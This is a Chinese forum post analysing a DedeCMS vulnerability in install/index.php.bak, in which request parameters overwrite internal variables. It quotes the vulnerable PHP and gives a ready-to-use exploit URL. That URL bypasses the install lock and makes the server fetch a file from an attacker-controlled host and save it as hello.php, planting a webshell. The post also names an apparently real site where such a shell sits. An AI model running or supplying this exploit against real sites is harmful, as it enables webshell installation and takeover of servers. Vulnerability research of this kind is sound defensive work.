本帖最后由 blackfish 于 2015-7-7 11:21 编辑
https://www.exploit-db.com/exploits/37423/ 我也是昨天才看到
其实能看懂代码的话这个漏洞非常简单,虽然标题是文件包含,实际上是因为变量覆盖引起的
漏洞文件在install/index.php.bak
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';
29 foreach(Array('_GET','_POST','_COOKIE') as $_request)
30 {
31 foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
32 }
这一段是导致变量覆盖的代码,可以覆盖掉$insLockfile这个变量使file_exists判断失效, 导致利用者可以重新安装网站,这个漏洞很久以前就曝出来了。
http://www.cnseay.com/2956 这篇文章说的很详细了
标题中的文件包含在哪里呢
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content)) //fwrite websehll
381 echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
382 else
383 echo ' <font color="red">[×]</font> 远程获取失败';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }
由于变量都是可控的,程序中又用到了 file_get_contents函数去读取远程文件,然后又用fwrite函数保存到本地了。利用方法也非常简单
[AppleScript] 纯文本查看 复制代码 http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://xxxxxx.cn/
访问如下链接就会把[AppleScript] 纯文本查看 复制代码 http://xxxxxxxx.cn/dedecms/demodata.a.txt 这个文件的内容保存到[AppleScript] 纯文本查看 复制代码 http://192.168.204.135/install 目录下一个叫hello.php的文件中
http://paituola.cn/install/hello.php 经过测试网上很多网站都已经删掉install文件夹,所以这个漏洞的影响没那么大。 |